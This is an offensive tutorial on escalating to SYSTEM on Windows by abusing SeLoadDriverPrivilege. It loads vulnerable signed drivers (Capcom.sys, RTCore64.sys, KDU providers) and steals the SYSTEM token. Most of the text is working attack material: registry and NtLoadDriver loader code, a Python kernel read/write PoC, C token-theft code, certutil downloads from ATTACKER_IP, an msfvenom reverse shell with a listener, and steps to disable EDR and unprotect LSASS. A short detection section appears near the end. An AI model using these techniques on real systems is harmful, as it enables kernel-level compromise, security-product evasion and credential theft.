Overview
SeLoadDriverPrivilege allows a user to load and unload kernel-mode drivers by calling the NtLoadDriver system call. Loading a driver means inserting arbitrary code into the Windows kernel — ring 0 execution. An attacker with this privilege can load a vulnerable signed driver (BYOVD), exploit it to gain kernel read/write, and steal the SYSTEM token for full machine compromise.
This is not a theoretical attack. It has been used extensively in the wild by both red teams and threat actors (Turla, Lazarus, RansomHub) to bypass EDR, disable security products, and escalate privileges.
Who Has It by Default
| Principal | Context |
|---|
BUILTIN\Administrators | Enabled in elevated sessions |
BUILTIN\Print Operators | Always assigned — common escalation vector |
NT AUTHORITY\SYSTEM | Always |
| Accounts with explicit GPO assignment | Check secpol.msc > User Rights Assignment > Load and unload device drivers |
Print Operators is the most commonly exploited path. On domain controllers, Print Operators is a domain-level group — any member can load kernel drivers on the DC itself.
Check If Enabled
Filter for it directly:
whoami /priv | findstr /i "SeLoadDriverPrivilege"
Expected output when exploitable:
SeLoadDriverPrivilege Load and unload device drivers Enabled
If the privilege shows as Disabled, it can still be enabled programmatically via AdjustTokenPrivileges. The privilege only needs to be present in the token — the Enabled/Disabled state is a soft toggle. Tools like EoPLoadDriver enable it automatically before calling NtLoadDriver.
Check group membership for Print Operators (common source of this privilege):
net localgroup "Print Operators"
whoami /groups | findstr /i "Print"
How It Works Technically
The exploitation chain is: create registry key > point to driver on disk > call NtLoadDriver > driver runs in kernel.
NtLoadDriver Internals
NtLoadDriver is an undocumented ntdll syscall that takes a single argument — a registry path pointing to a service key under HKLM\SYSTEM\CurrentControlSet\Services\. The kernel reads the ImagePath value from that key, loads the specified .sys file into kernel memory, and executes its DriverEntry function.
NtLoadDriver(L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\DriverName")
The kernel checks:
- The caller holds
SeLoadDriverPrivilege (enabled in token)
- The registry key exists and contains a valid
ImagePath
- The driver binary is validly signed (unless test signing is enabled)
Critically, starting from Windows 10 1607+, NtLoadDriver also accepts paths under the current user’s registry hive (HKU\<SID>\System\CurrentControlSet\Services\). This means a non-admin user with SeLoadDriverPrivilege can load drivers without needing write access to HKLM — they create the service key under their own HKCU.
The Attack Flow
1. SeLoadDriverPrivilege is present in token
2. Place vulnerable signed driver (.sys) on disk
3. Create registry key with ImagePath pointing to the driver
4. Call NtLoadDriver with the registry path
5. Driver loads into kernel — ring 0 code execution
6. Exploit the driver's vulnerability for kernel read/write
7. Locate SYSTEM process token in kernel memory
8. Copy SYSTEM token to current process
9. Current process is now NT AUTHORITY\SYSTEM
Loading a Driver via Registry Key (Manual Method)
Before using any tool, understand the manual process. You need a registry service key with specific values.
Step 1 — Create the Registry Key
Under HKLM (requires admin write to HKLM):
reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnDriver" /v Type /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnDriver" /v ErrorControl /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnDriver" /v Start /t REG_DWORD /d 3 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnDriver" /v ImagePath /t REG_EXPAND_SZ /d "\??\C:\Windows\Temp\VulnDriver.sys" /f
Under HKCU (no admin write needed — works on Windows 10 1607+):
reg add "HKCU\System\CurrentControlSet\Services\VulnDriver" /v Type /t REG_DWORD /d 1 /f
reg add "HKCU\System\CurrentControlSet\Services\VulnDriver" /v ErrorControl /t REG_DWORD /d 1 /f
reg add "HKCU\System\CurrentControlSet\Services\VulnDriver" /v Start /t REG_DWORD /d 3 /f
reg add "HKCU\System\CurrentControlSet\Services\VulnDriver" /v ImagePath /t REG_EXPAND_SZ /d "\??\C:\Windows\Temp\VulnDriver.sys" /f
Registry Values Explained
| Value | Type | Data | Purpose |
|---|
Type | REG_DWORD | 1 | Kernel driver (SERVICE_KERNEL_DRIVER) |
ErrorControl | REG_DWORD | 1 | Normal error control |
Start | REG_DWORD | 3 | Demand start (load on request) |
ImagePath | REG_EXPAND_SZ | \??\C:\path\driver.sys | Path to driver binary (NT path format with \??\ prefix) |
Step 2 — Call NtLoadDriver
Using PowerShell with P/Invoke:
$code = @'
using System;
using System.Runtime.InteropServices;
public class DriverLoader
{
[DllImport("ntdll.dll")]
public static extern uint NtLoadDriver(ref UNICODE_STRING DriverServiceName);
[DllImport("ntdll.dll")]
public static extern void RtlInitUnicodeString(ref UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAll, ref TOKEN_PRIVILEGES NewState, uint BufferLen, IntPtr Prev, IntPtr RetLen);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool LookupPrivilegeValue(string Host, string Name, ref LUID Luid);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool OpenProcessToken(IntPtr ProcessHandle, uint Access, out IntPtr TokenHandle);
[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentProcess();
[StructLayout(LayoutKind.Sequential)]
public struct UNICODE_STRING
{
public ushort Length;
public ushort MaximumLength;
public IntPtr Buffer;
}
[StructLayout(LayoutKind.Sequential)]
struct LUID { public uint LowPart; public int HighPart; }
[StructLayout(LayoutKind.Sequential)]
struct LUID_AND_ATTRIBUTES { public LUID Luid; public uint Attributes; }
[StructLayout(LayoutKind.Sequential)]
struct TOKEN_PRIVILEGES { public uint PrivilegeCount; public LUID_AND_ATTRIBUTES Privileges; }
public static void EnablePrivilege(string privilege)
{
IntPtr hToken;
OpenProcessToken(GetCurrentProcess(), 0x0028, out hToken);
TOKEN_PRIVILEGES tp = new TOKEN_PRIVILEGES();
tp.PrivilegeCount = 1;
tp.Privileges.Attributes = 0x00000002;
LookupPrivilegeValue(null, privilege, ref tp.Privileges.Luid);
AdjustTokenPrivileges(hToken, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
}
public static uint LoadDriver(string registryPath)
{
EnablePrivilege("SeLoadDriverPrivilege");
UNICODE_STRING us = new UNICODE_STRING();
RtlInitUnicodeString(ref us, registryPath);
return NtLoadDriver(ref us);
}
}
'@
Add-Type -TypeDefinition $code
# Load driver from HKLM service key
[DriverLoader]::LoadDriver("\Registry\Machine\System\CurrentControlSet\Services\VulnDriver")
# Or from HKCU (replace SID with your actual SID)
# Get your SID: (whoami /user /fo csv | ConvertFrom-Csv).'SID'
[DriverLoader]::LoadDriver("\Registry\User\S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-XXXX\System\CurrentControlSet\Services\VulnDriver")
A return value of 0 (STATUS_SUCCESS) means the driver is loaded.
Step 3 — Verify the Driver Loaded
driverquery /v | findstr /i "VulnDriver"
Get-WmiObject Win32_SystemDriver | Where-Object { $_.Name -eq "VulnDriver" }
EoPLoadDriver automates the registry key creation and NtLoadDriver call. It handles privilege enabling, HKCU key creation, and the NT path format automatically.
Download and Compile
# Clone and compile with Visual Studio
git clone https://github.com/TarlogicSecurity/EoPLoadDriver.git
# Open .sln in Visual Studio, build Release x64
Pre-compiled binary is also available in the releases.
Load a Driver
EoPLoadDriver.exe System\CurrentControlSet\Services\VulnDriver C:\Windows\Temp\VulnDriver.sys
This command:
- Enables
SeLoadDriverPrivilege in the current token
- Creates the registry key under
HKCU\System\CurrentControlSet\Services\VulnDriver
- Sets
ImagePath to \??\C:\Windows\Temp\VulnDriver.sys
- Calls
NtLoadDriver with the HKCU registry path
Expected output:
[+] Enabling SeLoadDriverPrivilege
[+] SeLoadDriverPrivilege enabled
[+] Loading Driver: \Registry\User\S-1-5-21-...\System\CurrentControlSet\Services\VulnDriver
NTSTATUS: 00000000, WinError: 0
NTSTATUS: 00000000 means success. Common errors:
| NTSTATUS | Meaning |
|---|
0x00000000 | Success — driver loaded |
0xC0000022 | Access denied — privilege not present in token |
0xC0000061 | Privilege not held — SeLoadDriverPrivilege missing |
0xC0000428 | Driver signature not valid — unsigned or revoked driver |
0xC0000603 | Driver blocked by policy — HVCI or driver blocklist |
0xC000010E | Driver already loaded |
0xC0000034 | Object name not found — registry key or driver path wrong |
Capcom.sys is a legitimately signed driver (by Capcom Co., Ltd.) that contains an intentional feature allowing any user-mode process to execute arbitrary code in kernel mode by disabling SMEP (Supervisor Mode Execution Prevention). It was signed with a valid Authenticode certificate and is the classic example of BYOVD.
The driver exposes a device \\.\Htsysm72FB that accepts an IOCTL. When called, it:
- Disables SMEP by clearing the CR4 register bit
- Calls a user-supplied function pointer in kernel context
- Re-enables SMEP
This means: you pass a pointer to your shellcode, and the driver executes it at ring 0.
Step-by-Step Exploitation
Transfer Capcom.sys to the target:
certutil -urlcache -split -f http://ATTACKER_IP/Capcom.sys C:\Windows\Temp\Capcom.sys
SHA-256 of the original Capcom.sys:
73c98438ac64a68e800b9f9571b4fec82571af010571b5f00af63fba6a93f900
Step 2 — Load the Driver
Using EoPLoadDriver:
EoPLoadDriver.exe System\CurrentControlSet\Services\Capcom C:\Windows\Temp\Capcom.sys
Or manually:
reg add "HKCU\System\CurrentControlSet\Services\Capcom" /v Type /t REG_DWORD /d 1 /f
reg add "HKCU\System\CurrentControlSet\Services\Capcom" /v ErrorControl /t REG_DWORD /d 1 /f
reg add "HKCU\System\CurrentControlSet\Services\Capcom" /v Start /t REG_DWORD /d 3 /f
reg add "HKCU\System\CurrentControlSet\Services\Capcom" /v ImagePath /t REG_EXPAND_SZ /d "\??\C:\Windows\Temp\Capcom.sys" /f
Step 3 — Exploit with ExploitCapcom
ExploitCapcom is the standard exploit tool:
git clone https://github.com/tandasat/ExploitCapcom.git
# Compile with Visual Studio — Release x64
Run it to get a SYSTEM shell:
Default behavior: launches cmd.exe as SYSTEM. To run a custom command, modify the source or use the version that accepts arguments:
ExploitCapcom.exe YOURCOMMAND
Step 4 — Verify SYSTEM
If you need a reverse shell instead of an interactive cmd:
# Generate payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o shell.exe
# Transfer to target
certutil -urlcache -split -f http://ATTACKER_IP/shell.exe C:\Windows\Temp\shell.exe
# Modify ExploitCapcom to launch shell.exe instead of cmd.exe
# In ExploitCapcom.cpp, change:
# TCHAR CommandLine[] = TEXT("C:\\Windows\\System32\\cmd.exe");
# To:
# TCHAR CommandLine[] = TEXT("C:\\Windows\\Temp\\shell.exe");
Start listener on attacker:
Capcom.sys has been added to the Microsoft Vulnerable Driver Blocklist and is blocked by HVCI (Hypervisor-protected Code Integrity). On modern Windows 10/11 with HVCI enabled, the driver will not load. Use alternative BYOVD drivers listed below.
BYOVD — Bring Your Own Vulnerable Driver
BYOVD is the modern evolution of the Capcom.sys technique. Instead of relying on a single known driver, attackers use any legitimately signed driver that contains an exploitable vulnerability — typically arbitrary kernel read/write via exposed IOCTLs.
Attack Pattern
1. Find a signed driver with a known vulnerability (kernel read/write)
2. Transfer the .sys file to the target
3. Load it using SeLoadDriverPrivilege (EoPLoadDriver or manual method)
4. Use the driver's vulnerable IOCTL for kernel memory operations
5. Locate the current process token in kernel memory
6. Copy SYSTEM token over current process token
7. Current process is now SYSTEM
Why It Works
Windows enforces Driver Signature Enforcement (DSE) — only drivers signed by Microsoft or through the WHQL process can load. However, many legitimate vendor drivers contain vulnerabilities. Since they are validly signed, Windows loads them without complaint. The vulnerabilities are typically:
- Arbitrary physical memory read/write — map physical memory pages to user space
- Arbitrary MSR read/write — modify Model-Specific Registers
- Arbitrary kernel memory read/write — read/write via IOCTL with attacker-controlled addresses
- CR register manipulation — disable SMEP/SMAP
Finding Vulnerable Drivers
LOLDrivers is the definitive database of known vulnerable drivers:
# Browse the catalog
https://www.loldrivers.io/
# API — get all vulnerable drivers
curl https://www.loldrivers.io/api/drivers.json
KDU driver database maintains another curated list.
Common Vulnerable Drivers
| Driver | Vendor | Vulnerability | CVE | Kernel Capability | Blocklisted |
|---|
Capcom.sys | Capcom | Intentional kernel exec with SMEP disable | N/A | Arbitrary code execution | Yes |
RTCore64.sys | MSI (Afterburner) | Arbitrary physical memory read/write via IOCTL | CVE-2019-16098 | Full kernel R/W | Yes (recent) |
dbutil_2_3.sys | Dell | Arbitrary physical memory read/write | CVE-2021-21551 | Full kernel R/W | Yes (recent) |
iqvw64e.sys | Intel (Network Adapter Diagnostic) | Arbitrary physical memory map/unmap | CVE-2015-2291 | Full kernel R/W | Partially |
gdrv.sys | Gigabyte (AORUS) | Arbitrary physical memory read/write | CVE-2018-19320 | Full kernel R/W | Yes |
AsIO64.sys / AsIO.sys | ASUS | Arbitrary physical memory access | CVE-2020-17382 | Full kernel R/W | Partially |
HWiNFO64A.sys | HWiNFO | Arbitrary physical memory map | N/A | Full kernel R/W | No |
WinRing0x64.sys | OpenLibSys | Arbitrary physical memory read/write, MSR R/W | N/A | Full kernel R/W | Partially |
speedfan.sys | SpeedFan | Arbitrary physical memory read/write | N/A | Full kernel R/W | No |
ProcExp152.sys | Sysinternals (Process Explorer) | Terminate any process | N/A | Kill protected processes | No |
RTCore64.sys (MSI Afterburner) — CVE-2019-16098
The most commonly used post-Capcom driver. Ships with MSI Afterburner, a popular GPU overclocking tool.
IOCTL Interface
Device: \\.\RTCore64
Read physical memory: IOCTL 0x80002048
Write physical memory: IOCTL 0x8000204C
Load the Driver
EoPLoadDriver.exe System\CurrentControlSet\Services\RTCore64 C:\Windows\Temp\RTCore64.sys
Exploit for SYSTEM Token
Multiple public exploits exist. The general approach:
1. Open handle to \\.\RTCore64
2. Use read IOCTL (0x80002048) to walk kernel structures
3. Find EPROCESS for current process and SYSTEM process (PID 4)
4. Read SYSTEM token from EPROCESS->Token
5. Use write IOCTL (0x8000204C) to overwrite current process token with SYSTEM token
6. Current process is now SYSTEM
Python PoC using ctypes (run from target):
import ctypes
import struct
from ctypes import wintypes
kernel32 = ctypes.WinDLL('kernel32')
ntdll = ctypes.WinDLL('ntdll')
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 3
IOCTL_READ = 0x80002048
IOCTL_WRITE = 0x8000204C
hDevice = kernel32.CreateFileW(
"\\\\.\\RTCore64",
GENERIC_READ | GENERIC_WRITE,
0, None, OPEN_EXISTING, 0, None
)
def read_physical(address, size):
"""Read physical memory via RTCore64 IOCTL"""
buf_in = struct.pack('<QII', address, 0, size)
buf_out = ctypes.create_string_buffer(size + 16)
bytes_returned = wintypes.DWORD()
kernel32.DeviceIoControl(
hDevice, IOCTL_READ,
buf_in, len(buf_in),
buf_out, len(buf_out),
ctypes.byref(bytes_returned), None
)
return buf_out.raw[:size]
def write_physical(address, data):
"""Write physical memory via RTCore64 IOCTL"""
buf_in = struct.pack('<QII', address, 0, len(data)) + data
buf_out = ctypes.create_string_buffer(16)
bytes_returned = wintypes.DWORD()
kernel32.DeviceIoControl(
hDevice, IOCTL_WRITE,
buf_in, len(buf_in),
buf_out, len(buf_out),
ctypes.byref(bytes_returned), None
)
dbutil_2_3.sys (Dell) — CVE-2021-21551
Dell’s BIOS utility driver. Exposes five distinct vulnerabilities, all leading to kernel memory access.
EoPLoadDriver.exe System\CurrentControlSet\Services\dbutil C:\Windows\Temp\dbutil_2_3.sys
Exploit tools:
iqvw64e.sys (Intel) — CVE-2015-2291
Intel Network Adapter Diagnostic Driver. Maps arbitrary physical memory to user space.
EoPLoadDriver.exe System\CurrentControlSet\Services\Nal C:\Windows\Temp\iqvw64e.sys
This driver is the default backend for many offensive tools including KDU.
KDU — Kernel Driver Utility
KDU (by hfiref0x) is a comprehensive framework that automates the entire BYOVD chain. It ships with support for 50+ vulnerable drivers and handles driver loading, kernel read/write primitives, and exploitation automatically.
How KDU Works
1. Selects a vulnerable driver from its provider list
2. Drops the embedded .sys to disk
3. Creates registry key and calls NtLoadDriver
4. Opens the driver device and uses its vulnerable IOCTLs
5. Provides kernel read/write/execute primitives to the caller
6. Supports: DSE bypass, PPL bypass, arbitrary driver loading, kernel callbacks removal
Usage
List Available Providers (Vulnerable Drivers)
Output shows all supported driver providers with their index numbers:
[0] Intel Network Adapter Diagnostic Driver (iqvw64e.sys)
[1] RTCore64 (RTCore64.sys)
[2] Gdrv (gdrv.sys)
[3] ATSZIO64 (ATSZIO64.sys)
[4] MICSYS (MsIo64.sys)
[5] GLCKIo2 (GLCKIo2.sys)
...
Load an Unsigned/Custom Driver (DSE Bypass)
The primary use case — load any arbitrary driver by patching DSE in kernel memory:
kdu.exe -prv 1 -map C:\Windows\Temp\custom_driver.sys
-prv 1 selects provider 1 (RTCore64.sys)
-map maps (loads) your custom unsigned driver into kernel
Disable PPL (Protected Process Light) on a Process
kdu.exe -prv 0 -pse <PID>
Useful for unprotecting lsass.exe before dumping.
Disable Driver Signature Enforcement
After this, you can load any unsigned driver using sc create / sc start normally.
Re-enable DSE (Cleanup)
Common KDU Providers for Offensive Use
| Provider | Driver | Notes |
|---|
| 0 | iqvw64e.sys (Intel) | Most reliable, widely tested |
| 1 | RTCore64.sys (MSI) | Good fallback, well-documented IOCTL |
| 5 | GLCKIo2.sys (ASRock) | Less commonly blocklisted |
| 14 | dbutil_2_3.sys (Dell) | Multiple vuln classes |
| 19 | HWiNFO64A.sys | Rarely blocklisted |
KDU requires SeLoadDriverPrivilege or an elevated administrator shell (which has it). It handles the full chain: dropping the driver, creating registry keys, loading via NtLoadDriver, and exploitation. You do not need EoPLoadDriver separately.
Once you have kernel read/write (via any vulnerable driver), the standard technique for privilege escalation is token theft — copying the SYSTEM process token to your current process.
Token Theft — How It Works
Every process in Windows has a _EPROCESS kernel structure. This structure contains a Token field pointing to a _TOKEN object that defines the process’s security context. PID 4 (System process) always runs as NT AUTHORITY\SYSTEM.
_EPROCESS (your process)
├── UniqueProcessId → your PID
├── Token → 0xFFFF... (your limited token)
└── ActiveProcessLinks → linked list of all processes
_EPROCESS (PID 4 — System)
├── UniqueProcessId → 4
├── Token → 0xFFFF... (SYSTEM token)
└── ActiveProcessLinks → linked list of all processes
Attack: overwrite your Token pointer with System's Token pointer
Step-by-Step in Pseudocode
1. Read the kernel base address (NtQuerySystemInformation or leaked via driver)
2. Find PsInitialSystemProcess — pointer to the SYSTEM _EPROCESS
3. Walk the ActiveProcessLinks doubly-linked list
4. For each EPROCESS, read UniqueProcessId
5. When UniqueProcessId == 4: save Token value (SYSTEM token)
6. When UniqueProcessId == our PID: save EPROCESS address
7. Write SYSTEM token value into our process's Token field
8. Done — our process is now SYSTEM
Key Offsets (Windows 10/11 x64)
These offsets vary by Windows build. Use !process 0 0 in WinDbg or query PDB symbols to get exact offsets.
| Field | Offset (common) | Notes |
|---|
_EPROCESS.UniqueProcessId | 0x440 | Win10 21H2+, varies by build |
_EPROCESS.ActiveProcessLinks | 0x448 | Doubly-linked list |
_EPROCESS.Token | 0x4B8 | EX_FAST_REF — bottom 4 bits are ref count |
_EPROCESS.ImageFileName | 0x5A8 | 15-char process name |
Offsets change between Windows builds. Using wrong offsets causes BSOD. Always verify offsets for the target OS version. Tools like KDU and public exploits maintain offset tables for common builds.
C Implementation (Conceptual)
// After obtaining kernel read/write via vulnerable driver
// 1. Get SYSTEM EPROCESS
ULONG64 systemEproc = ReadKernelMemory(PsInitialSystemProcess);
// 2. Read SYSTEM token
ULONG64 systemToken = ReadKernelMemory(systemEproc + TOKEN_OFFSET);
// 3. Walk process list to find our process
ULONG64 currentEproc = systemEproc;
do {
ULONG64 pid = ReadKernelMemory(currentEproc + PID_OFFSET);
if (pid == GetCurrentProcessId()) {
// 4. Overwrite our token with SYSTEM token
WriteKernelMemory(currentEproc + TOKEN_OFFSET, systemToken);
break;
}
// Walk linked list (subtract offset to get back to EPROCESS base)
ULONG64 flink = ReadKernelMemory(currentEproc + ACTIVEPROCESSLINKS_OFFSET);
currentEproc = flink - ACTIVEPROCESSLINKS_OFFSET;
} while (currentEproc != systemEproc);
// 5. Current process is now SYSTEM
system("cmd.exe");
Using PPLKiller for Token Theft
PPLKiller combines driver loading with token theft:
PPLKiller.exe /installDriver
PPLKiller.exe /stealToken <TARGET_PID>
Full Attack Chain Walkthrough
Complete step-by-step from SeLoadDriverPrivilege to SYSTEM shell.
1. Confirm the Privilege
whoami /priv | findstr /i "SeLoadDriverPrivilege"
On attacker machine, start a web server:
python3 -m http.server 80
On target:
certutil -urlcache -split -f http://ATTACKER_IP/EoPLoadDriver.exe C:\Windows\Temp\EoPLoadDriver.exe
certutil -urlcache -split -f http://ATTACKER_IP/ExploitCapcom.exe C:\Windows\Temp\ExploitCapcom.exe
certutil -urlcache -split -f http://ATTACKER_IP/Capcom.sys C:\Windows\Temp\Capcom.sys
3. Load the Driver
C:\Windows\Temp\EoPLoadDriver.exe System\CurrentControlSet\Services\Capcom C:\Windows\Temp\Capcom.sys
Verify:
NTSTATUS: 00000000, WinError: 0
4. Exploit for SYSTEM
C:\Windows\Temp\ExploitCapcom.exe
5. Verify
Alternative: Reverse Shell as SYSTEM
If you need a remote shell instead of an interactive prompt:
# Attacker: generate payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o rev.exe
# Attacker: start listener
nc -lvnp 4444
:: Target: transfer payload
certutil -urlcache -split -f http://ATTACKER_IP/rev.exe C:\Windows\Temp\rev.exe
:: Target: modify ExploitCapcom to launch rev.exe
:: (recompile with CommandLine = "C:\\Windows\\Temp\\rev.exe")
:: Or use the Capcom exploit that accepts command-line arguments
C:\Windows\Temp\ExploitCapcom.exe C:\Windows\Temp\rev.exe
Cleanup
:: Unload the driver
reg delete "HKCU\System\CurrentControlSet\Services\Capcom" /f
del C:\Windows\Temp\Capcom.sys
del C:\Windows\Temp\EoPLoadDriver.exe
del C:\Windows\Temp\ExploitCapcom.exe
Defenses and Detection
What Blocks This Attack
| Defense | Effect | Bypass Difficulty |
|---|
| HVCI (Hypervisor-protected Code Integrity) | Blocks loading of drivers not signed by Microsoft or with known vulns | Hard — requires HVCI-compatible bypass |
| Microsoft Vulnerable Driver Blocklist | Blocks known BYOVD drivers by hash | Medium — find a driver not yet on the list |
| Driver Signature Enforcement (DSE) | Blocks unsigned drivers | Bypassed by using validly signed vulnerable drivers |
| Secure Boot | Prevents boot-time driver tampering | Does not block runtime BYOVD loading |
| Windows Defender Application Control (WDAC) | Policy-based driver allowlisting | Hard — requires loading an allowed driver |
| Credential Guard | Isolates LSASS in a VM — token theft still works for local privesc | Does not prevent token theft |
Detection — Event Logs and Indicators
| Indicator | Source | What to Look For |
|---|
| Event ID 4672 | Security log | SeLoadDriverPrivilege assigned at logon |
| Event ID 6 | Sysmon | Driver loaded — check ImageLoaded for known vulnerable driver names/hashes |
| Event ID 7045 | System log | New service installed (driver service creation) |
| Event ID 4697 | Security log | Service installed in the system |
| Registry key creation | Sysmon Event 12/13 | Keys under HKCU\System\CurrentControlSet\Services\ — highly anomalous |
NtLoadDriver call | ETW / kernel telemetry | Rare outside driver installers |
New .sys files in Temp directories | File monitoring | Drivers should not be in C:\Windows\Temp |
HVCI Status Check
Defenders (and attackers) can check if HVCI is enabled:
# Check HVCI status
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard | Select-Object VirtualizationBasedSecurityStatus, SecurityServicesRunning
:: Registry check
reg query "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v Enabled
SecurityServicesRunning includes 2 = HVCI is active
- HVCI prevents loading of blocklisted or vulnerable drivers at the hypervisor level
Driver Blocklist Check
# Check if Microsoft Vulnerable Driver Blocklist is enabled
Get-CimInstance -Namespace root\Microsoft\Windows\CI -ClassName MSFT_MpComputerStatus | Select-Object IsVulnerableDriverBlocklistEnabled
The blocklist file is located at C:\Windows\System32\CodeIntegrity\driversipolicy.p7b and is updated via Windows Update.
Quick Reference
| Technique | Tool | Target Driver | Requirements |
|---|
| Capcom.sys exploit | EoPLoadDriver + ExploitCapcom | Capcom.sys | SeLoadDriverPrivilege, no HVCI |
| RTCore64.sys token theft | EoPLoadDriver + custom exploit | RTCore64.sys | SeLoadDriverPrivilege, no HVCI |
| KDU driver mapping | kdu.exe | Provider-dependent (50+ drivers) | SeLoadDriverPrivilege or admin |
| KDU DSE bypass | kdu.exe -dse 0 | Provider-dependent | Load unsigned drivers after bypass |
| KDU PPL disable | kdu.exe -pse <PID> | Provider-dependent | Unprotect LSASS for dumping |
| Manual NtLoadDriver | PowerShell P/Invoke | Any signed .sys | SeLoadDriverPrivilege, registry write |
| Dell dbutil exploit | EoPLoadDriver + CVE-2021-21551 PoC | dbutil_2_3.sys | SeLoadDriverPrivilege, no HVCI |
| Scenario | Recommended Path |
|---|
| Target has no HVCI, old Windows | Capcom.sys (simplest, most documented) |
| Target has HVCI disabled, modern Windows | RTCore64.sys or KDU with provider not on blocklist |
| Target has HVCI enabled | Find driver not on blocklist via LOLDrivers, or use KDU with newer provider |
| Need to disable EDR | Load ProcExp152.sys to terminate protected processes, or KDU to remove kernel callbacks |
| Print Operators member on DC | Load driver, token theft to SYSTEM, then DCSync |